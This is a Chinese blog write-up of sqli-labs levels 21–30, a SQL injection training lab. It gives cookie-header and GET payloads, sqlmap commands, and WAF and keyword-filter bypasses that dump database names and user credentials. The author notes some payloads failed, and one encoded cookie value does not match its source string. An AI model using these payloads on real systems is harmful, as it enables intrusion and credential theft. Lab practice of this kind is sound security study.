绕过waf mysql爆库_sqlilab-Less-21-30-writeup

原创

weixin_39673303 于 2021-02-01 14:07:32 发布 40 收藏
文章标签： 绕过waf mysql爆库

Less-21 基于错误的Cookie头单引号字符型注入

跟Less-20是一样的，看了下源码确认是可以在cookie头进行SQL注入，但是Less-21做了一点修改，就是输入到源码中的代码需要经过base64编码才可正常注入，因为源码是直接对cookie参数进来的数据进行解码

GET /Less-21/ HTTP/1.1

Host: 106.54.35.126

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: uname=dW5hbWU9YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

DNT: 1

Connection: close

uname=admin') union select 1,2,database()# base64编码前

dW5hbWU9YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj base64编码后

其他方式跟Less-20一样

sqlmap注入

python sqlmap.py -u http://106.54.35.126/Less-21/ --dbms=MySQL --random-agent --flush-session --cookie="uname=*" --tamper="base64encode" --technique=E -v 3 --level=3 --risk=3 --dbs --batch

==========

Less-22 基于错误的Cookie头双引号字符型注入

此关跟Less-21是一样的，只是修改为双引号去掉括号再进行注入

uname=admin" union select 1,2,database()# base64编码前

dW5hbWU9YWRtaW4iIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM= base64编码后

GET /Less-22/ HTTP/1.1

Host: 106.54.35.126

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: uname=dW5hbWU9YWRtaW4ilHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=

DNT: 1

Connection: close

其他方式跟Less-20一样

sqlmap注入

python sqlmap.py -u http://106.54.35.126/Less-22/ --dbms=MySQL --random-agent --flush-session --cookie="uname=*" --tamper="base64encode" --technique=E -v 3 --level=3 --risk=3 --dbs --batch

Less-23 基于错误的GET请求过滤注释符的SQL注入

这里又回到GET请求了，但是过滤了SQL注入要用到的注释符--和# ，所以这里要想注入只能闭合了

爆库

?id=-1' union select 1,2,database() '

爆表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '998'='999' '

爆字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '998'='999' '

爆字段值

?id=-1' union select 1,group_concat(username),group_concat(password) from users where 1 or '998'='999' '

sqlmap注入

测试可以通过sqlmap进行报错注入，布尔型盲注，时间延时盲注，但是不能通过联合查询注入

python sqlmap.py -u http://106.54.35.126/Less-23/?id=1 --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --level=3 --risk=3 --dbs --batch

Less-24 经典的二次注入

通过构造SQL语句插入到数据库中，数据库报错的信息被其他类型的SQL语句调用的时候触发攻击行为。因为第一次插入到数据库的时候并没有触发危害性，而是再其他语句调用的时候才会触发攻击行为是二次注入

这里是通过输入admin'# 为了注释掉后面的语句 来达到修改密码的目的

UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

本关卡，输入注册用户admin'#998 密码随便输入，这里输入666 ，注册成功之后去登陆，登录成功之后尝试去修改密码，此时就可以修改admin的密码，然后去登陆，因为刚才注入的用户有# 注入了语句中的当前密码，所以直接修改admin密码，当前密码随便输入，具体可参考：https://www.sqlsec.com/2020/05/sqlilabs.html

Less-25 过滤了or和and

方法一：使用--+进行绕过，使用# 测试不行，不能绕过，通过union联合查询注入即可

注意，这里的password其中的or被过滤了，可以双写passwoorrd

?id=998' union select 1,2,database()--+

?id=998' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

?id=998' union select 1,2,
(SELECT+GROUP_CONCAT(username,passwoorrd+SEPARATOORR+0x3c62723e)+FROM+users)--+

方法二：因为过滤了or和and，那么可以通过双写or或者and来进行过滤

?id=998' oorr extractvalue(1,concat(0x7e,database()))--+

或者

?id=998' || extractvalue(1,concat(0x7e,database()))--+

Less-25a 过滤了or和and-盲注

区别Less-25的就是这里不能回显，所以不能进行报错注入

联合查询注入

?id=-998' union select 1,2,database()#

时间延时注入

?id=-998' || if(length(database())=8,1,sleep(5))#

Less-26 过滤注释和空格的SQL注入

此关卡过滤了or,and, 大小写; /*, --,#, 空格, 斜线

可以通过如下方式代替绕过

%09TAB 键(水平)

%0a新建一行

%0c新的一页

%0dreturn 功能

%0bTAB 键(垂直)

%a0空格

参考这个博客https://blog.csdn.net/nzjdsds/article/details/77430073 写的吧，我是docker环境搭建，测试对应联合查询注入的payload并未成功，但是我测试xpath报错注入成功了，具体如下：

爆库

?id=998'||updatexml(1,concat('~',database(),'~'),3)||'

爆版本

?id=998'||updatexml(1,concat('~',version(),'~'),3)||'

Less-26a 过滤注释和空格的SQL盲注

此关跟Less-26一样，只是在注入的时候在上面的基础上加个括号，我这docker环境也是没有测试成功，大家可以根据实际情况搭建Linux环境测试下，不要使用Windows和docker环境测试试试看，参考博客地址：https://blog.csdn.net/nzjdsds/article/details/77430073

Less-27 过滤union和select的单引号SQL注入

此关卡过滤了union，select，/*, #, --,空格 但是关于union和select的大小写过滤不严谨

大小写混合填写

unioN,uniOn,unIon,selecT,seleCt.....

嵌套双写

uunionnion,sselectelect.....

可用的payload

?id=-998'%0bununionion%0bseLect%0b1,(seLect(@x)FROM(seLect(@x:=0x00) ,(seLect(@x)FROM(users)WHERE(@x)lN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3%0b

Less-27a 过滤union和select的双引号SQL注入

此关卡过滤了union，select，/*, #, --,空格 但是关于union和select的大小写过滤不严谨

这里跟Less-27一样只是注释的单引号变成了双引号

大小写混合填写

unioN,uniOn,unIon,selecT,seleCt.....

嵌套双写

uunionnion,sselectelect.....

可用的payload

?id=-998"%0bununionion%0bseLect%0b1,(seLect(@x)FROM(seLect(@x:=0x00) ,(seLect(@x)FROM(users)WHERE(@x)lN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3%0b

Less-28和Less-28a是一样的，都是基于错误的单引号过滤了union，select的SQL注入

参考：

https://blog.csdn.net/nzjdsds/article/details/77430073

https://www.sqlsec.com/2020/05/sqlilabs.html

手工测试并未成功

Less-29 基于WAF的防护(单引号)

爆版本

?id=998' union select 1,2,version()--+

爆库

?id=998' union select 1,2,database()--+

我发现我测试上面的语句是可以直接输入数字进行测试SQL注入的，根据网上的资料显示是反馈目标靶机的WAF只允许输入数字，在输入数字的时候先让WAF看看，检测正常之后才转发到后端供我们正常访问

爆用户名和密码

login.php?id=1&id=-2' union select 1,2,
(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

参考：https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-39

Less-30 基于WAF的防护(双引号)

跟Less-29一模一样，只是由原来注入的单引号变成了双引号

爆版本

?id=998" union select 1,2,version()--+

爆库

?id=998" union select 1,2,database()--+